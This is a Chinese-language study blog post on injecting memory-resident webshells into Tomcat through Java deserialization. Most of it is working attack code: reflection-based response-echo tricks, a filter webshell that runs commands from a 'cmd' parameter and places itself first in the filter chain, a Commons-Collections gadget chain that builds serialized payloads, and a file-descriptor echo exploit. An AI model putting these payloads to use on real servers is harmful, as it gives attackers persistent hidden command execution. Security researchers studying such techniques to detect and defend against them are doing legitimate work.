看反序列化里的内存马

前言

在此前,简单学习了两种内存马,但大体都是一种类型,当然沿着继续学也可以,Servlet、Value型内存马,但是目前而言较为紧迫的还是学会反序列化打内存马,因此越过他们,后续再进行学习。

学习

当然,此前,我们学习一下Drun1baby的回显技术学习,涉及一些理论内容
也叫前无回显世代?

回显

文件描述符

师傅在这里谈到了该手法,但是不太能理解 未深入分析
这里标个记

Tomcat中一种半通用回显方法

首要目的是获取response对象,再向其中写入命令执行的结果,实现回显
-获取一个response对象
直接晒脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package com.example.TomcatHalfEcho.Controller;  


import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;


import javax.servlet.ServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.nio.charset.StandardCharsets;
import java.util.Scanner;


// Kingkk 师傅提出来的 Tomcat 半通用回显
@Controller
public class EvilController {

@RequestMapping("/index")
@ResponseBody
public String IndexController(String cmd) throws IOException {
try {
// ApplicationDispatcher.WRAP_SAME_OBJECT变量修改为true
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");//获取WRAP_SAME_OBJECT字段
Field modifiersField = Field.class.getDeclaredField("modifiers");//获取modifiers字段
modifiersField.setAccessible(true);//将变量设置为可访问
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
WRAP_SAME_OBJECT_FIELD.setAccessible(true);//将变量设置为可访问
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);//将变量设置为true

// 用反射设置ApplicationDispathcer中的lastServicedResponse变量为修改访问
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");//获取lastServicedRequest变量
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");//获取lastServicedResponse变量
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
lastServicedRequestField.setAccessible(true);//将变量设置为可访问
lastServicedResponseField.setAccessible(true);//将变量设置为可访问

ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null); //获取lastServicedResponse变量

// 如果此时 lastServicedResponse 对象为null,则进行初始化为ThreadLocal对象
if (lastServicedResponse == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());//设置ThreadLocal对象
lastServicedResponseField.set(null, new ThreadLocal<>());//设置ThreadLocal对象
} else if (cmd != null) {
// 否则则获取lastServicedResponse中的response对象,并执行命令将执行结果输入到response中
ServletResponse responseFacade = lastServicedResponse.get(); //获取lastServicedResponse中存储的变量

String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();

// 方法一:使用 outputStream.write() 方法输出
// responseFacade.getOutputStream().write(res.getBytes(StandardCharsets.UTF_8));
// responseFacade.flushBuffer();
// 方法二:使用 writer.writeA() 方法输出
PrintWriter writer = responseFacade.getWriter(); // 获取writer对象

Field responseField = ResponseFacade.class.getDeclaredField("response");//获取response字段
responseField.setAccessible(true);//将变量设置为可访问
Response response = (Response) responseField.get(responseFacade);//获取变量
Field usingWriter = Response.class.getDeclaredField("usingWriter");//获取usingWriter字段
usingWriter.setAccessible(true);//将变量设置为可访问
usingWriter.set((Object) response, Boolean.FALSE);//设置usingWriter为false

writer.write(res);
writer.flush();
}
}catch (Exception e) {
e.printStackTrace();
}

return "test";

}
}

通过反射控制变量,进而控制Tomcat处理请求的流程,这里就不冷冰冰的调试了
于整个构建一个环境

1
2
3
4
5
6
7
假使目前有一个反序列接口,处于Servlet  
整个靶机不出网,无回显
而一般来讲,靶机为什么给我们响应?因为它有response对象,目前我们没有
那可以通过Filter下的缓存机制,构建
第一次反序列化反射修改等等,使得缓存开启
而反序列化在缓存之后,因此,反序列化的回显内容可以留在缓存
进而,最后,成功从lastServicedResponse对象中取出response对象进行操作

这种方法有很多不足,但不失为一种手段
如,Shiro

1
2
3
Shiro反序列化在Filter上,于ApplicationFilterChain获取回显Response代码之前
先取出所有的的filter对当前请求进行拦截,通过之后,再进行cache request(即lastServicedResponse.set(response)方法),再从servlet.service(request, response) 进入servlet调用的逻辑代码。
在反序列化时,cache为空,即无法取出想要的reponse对象

后续尝试本地搭建调试,才能对某些概念有更深刻的理解

寻找全局的Response

我们学习上述,发现,它的不足源自response对象被获取的时机,依赖Tomcat本身的一些代码处理流程
是否能找到一种全局response呢?

通杀POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package com.example.TomcatHalfEcho.Controller;  

import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;

import java.util.Scanner;

// 全 Tomcat 版本通用

@WebServlet("/AllTomcat")
public class AllTomcatVersionAttack extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

try {
// 获取thread数组
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = ThreadGroup.class.getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(threadGroup);

for(Thread thread:threads) {
Field targetField = Thread.class.getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);
if( target != null && target.getClass() == org.apache.tomcat.util.net.Acceptor.class ) {
Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
endpointField.setAccessible(true);
Object endpoint = endpointField.get(target);
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(endpoint);

// 获取内部类ConnectionHandler的global
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);

// 获取RequestGroupInfo的processors
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);


// 获取Response,并做输出处理
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
for (RequestInfo requestInfo : RequestInfolist) {//遍历
org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request) reqField.get(requestInfo);//获取request
org.apache.catalina.connector.Request connectorRequest = (org.apache.catalina.connector.Request) coyoteReq.getNote(1);//获取catalina.connector.Request类型的Request
org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();

// 从connectorRequest 中获取参数并执行
String cmd = connectorRequest.getParameter("cmd");
String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();

// 方法一
// connectorResponse.getOutputStream().write(res.getBytes(StandardCharsets.UTF_8));
// connectorResponse.flushBuffer();

// 方法二
java.io.Writer w = response.getWriter();//获取Writer
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(connectorResponse, Boolean.FALSE);//初始化
w.write(res);
w.flush();//刷新
}
}
}

} catch (Exception e) {
e.printStackTrace();
}

}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

这里详细大家可以去看Drun1baby的文章

反序列化里的内存马

上述我们看了下无回显对于response操纵的方法
但是仍旧不具备普遍性,我们希望的是,存在一个反序列化接口,我注入paylaod,内存马实现
这么一个流程,我们开始学习

链子1

整体链子基于一个反射调用如invokerTransformer方法,调用TemplateImpl的newTransformer方法,最终执行恶意字节码的内容
我们先搭建一个服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import javax.servlet.annotation.WebServlet;  
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;

@WebServlet("/cc")
public class CCServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
InputStream inputStream = (InputStream) req;
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
resp.getWriter().write("Success");
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
InputStream inputStream = req.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
resp.getWriter().write("Success");
}
}

然后我们借助学习的一个半回显的打法,需要写两个ser.bin,第一个用于”注册”,第二个用于”回显触发”
关键的恶意字节码

第一次
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package EXP;  

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Modifier;

public class TomcatEcho extends AbstractTranslet {

static {
try {
// 修改 WRAP_SAME_OBJECT 值为 true Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers"); //获取modifiers字段
modifiersField.setAccessible(true); //将变量设置为可访问
modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); //取消FINAL属性
f.setAccessible(true); //将变量设置为可访问
if (!f.getBoolean(null)) {
f.setBoolean(null, true); //将变量设置为true
}

// 初始化 lastServicedRequest & lastServicedResponse c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal()); //设置ThreadLocal对象
}

f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal()); //设置ThreadLocal对象
}

} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {

}
}
第二次
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
package EXP;  

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;

/**
* @author threedr3am
*/public class TomcatInject extends AbstractTranslet implements Filter {

/**
* webshell命令参数名
*/
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "Drunkbaby";

static {
try {
ServletContext servletContext = getServletContext();
if (servletContext != null){
Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);

Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(appctx);

if (standardContext != null){
// 这样设置不会抛出报错
Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);

Filter myFilter =new TomcatInject();
// 调用 doFilter 来动态添加我们的 Filter // 这里也可以利用反射来添加我们的 Filter javax.servlet.FilterRegistration.Dynamic filterRegistration =
servletContext.addFilter(filterName,myFilter);

// 进行一些简单的设置
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
// 设置基本的 url pattern filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});

// 将服务重新修改回来,不然的话服务会无法正常进行
if (stateField != null){
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}

// 在设置之后我们需要 调用 filterstart if (standardContext != null){
// 设置filter之后调用 filterstart 来启动我们的 filter Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext,null);

/**
* 将我们的 filtermap 插入到最前面
*/

Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
//把filter插到第一位
Method m = Class.forName("org.apache.catalina.core.StandardContext")
.getDeclaredMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}

}

} catch (Exception e) {
e.printStackTrace();
}
}

private static ServletContext getServletContext()
throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ServletRequest servletRequest = null;
/*shell注入,前提需要能拿到request、response等*/
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
//如果不能去到request,则换一种方式尝试获取

//spring获取法1
if (servletRequest == null) {
try {
c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getRequest");
servletRequest = (ServletRequest) m.invoke(o);
} catch (Throwable t) {}
}
if (servletRequest != null)
return servletRequest.getServletContext();

//spring获取法2
try {
c = Class.forName("org.springframework.web.context.ContextLoader");
Method m = c.getMethod("getCurrentWebApplicationContext");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.WebApplicationContext");
m = c.getMethod("getServletContext");
ServletContext servletContext = (ServletContext) m.invoke(o);
return servletContext;
} catch (Throwable t) {}
return null;
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {

}

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
System.out.println(
"TomcatShellInject doFilter.....................................................................");
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}
}

上面这些和先前学的无回显是通的,加载恶意字节码即是如此了,值得回味

前段链子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
package EXP;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

@SuppressWarnings("all")
public class CC11Template {

public static void main(String[] args) throws Exception {
byte[] bytes = getBytes();
byte[][] targetByteCodes = new byte[][]{bytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();

Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);

f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");

f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);

// 利用反射调用 templates 中的 newTransformer 方法
InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
HashSet hashset = new HashSet(1);
hashset.add("foo");
// 我们要设置 HashSet 的 map 为我们的 HashMap Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

f2.setAccessible(true);
Object[] array = (Object[])f2.get(hashset_map);

Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);

// 在 invoke 之后,
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");

try{
//ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step1.ser"));
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser"));
outputStream.writeObject(hashset);
outputStream.close();

}catch(Exception e){
e.printStackTrace();
}
}

public static byte[] getBytes() throws IOException {
// 第一次
// InputStream inputStream = new FileInputStream(new File("D://TomcatEcho.class"));
// 第二次
InputStream inputStream = new FileInputStream(new File("D://TomcatInject.class"));

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}
}

该内存马同样的,无法应对Shiro反序列化打内存马

内存马进阶

工具 https://github.com/KpLi0rn/ShiroVulnEnv

前文我们讲到了关于文件描述符的回显马,这里我们看看N1ght师傅的博客
https://www.n1ght.cn/2025/08/21/java_linux%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E9%A9%AC/

他这里利用的正是通过文件描述符获取到一个Stream对象,对当前网络连接进行读写操作,可以釜底抽薪在根源上解决回显问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package com.n1ght;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.nio.channels.spi.SelectorProvider;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.*;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class Exp {
public Exp() throws Exception {
List<String> canWriteList = new ArrayList<>();
List<Integer> inodeList = new ArrayList<>();
byte[] bytes = Files.readAllBytes(Paths.get("/proc/self/net/tcp6"));
String tcp6 = new String(bytes);
for (String line : tcp6.split("\n")) {
String[] parts = line.trim().split("\\s+");
if (parts.length >= 13) {
String inode = parts[9];
inodeList.add(Integer.parseInt(inode));
}
}
File file = new File("/proc/self/fd");
File[] files = file.listFiles();
for (File f : files) {
if (f.exists()) {
try {
Path path1 = Files.readSymbolicLink(f.toPath());
if (f.canWrite()) {
Pattern pattern = Pattern.compile("socket:\\[(\\d+)]");
Matcher matcher = pattern.matcher(path1.toString());
if (matcher.find()) {
Integer inode = Integer.parseInt(matcher.group(1));
for (Integer integer : inodeList) {
if (Objects.equals(integer, inode)) {
String path = f.getAbsolutePath();
canWriteList.add(path.substring(path.indexOf("/fd/")).replaceAll("/fd/", ""));
}
}
}
}
} catch (Exception e) {
}
}
}
Constructor<FileDescriptor> c = null;
try {
// 获取底层的 FileDescriptor
c = FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
c.setAccessible(true);
Integer i = new Integer(canWriteList.get(canWriteList.size() - 1));
FileDescriptor fileDescriptor = c.newInstance(i);
Class<?> clazz = Class.forName("sun.nio.ch.SocketChannelImpl");
Constructor<?> cons = clazz.getDeclaredConstructor(SelectorProvider.class, FileDescriptor.class, boolean.class);
cons.setAccessible(true);

SelectorProvider provider = SelectorProvider.provider();
SocketChannel sc = (SocketChannel) cons.newInstance(provider, fileDescriptor, false);
Field connectedField = sc.getClass().getDeclaredField("state");
connectedField.setAccessible(true);
connectedField.set(sc, 2);
String ret = file.getCanonicalPath()
+ "/" + canWriteList.get(canWriteList.size() - 1) + ": " +
new Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next() + "\n";
// String ret = new Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next() + "\n";
String header = "HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\nContent-length:"+ret.length()+"\r\n\r\n"+ret;
ByteBuffer buffer = ByteBuffer.wrap(header.getBytes());
while (buffer.hasRemaining()) {
sc.write(buffer);
}
} catch (Exception e) {
throw new RuntimeException(e);
}


}


}


结语

缺乏调试,但还是想推推进度,把题上手了
第一版显的粗糙,也主要是搬运了,想学习的建议原文
https://drun1baby.top/2022/11/29/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%89%93%E5%86%85%E5%AD%98%E9%A9%AC/#0x04-%E6%94%B9%E5%86%99-ysoserial-%E5%A2%9E%E5%8A%A0%E5%86%85%E5%AD%98%E9%A9%AC%E7%AD%89%E5%8A%9F%E8%83%BD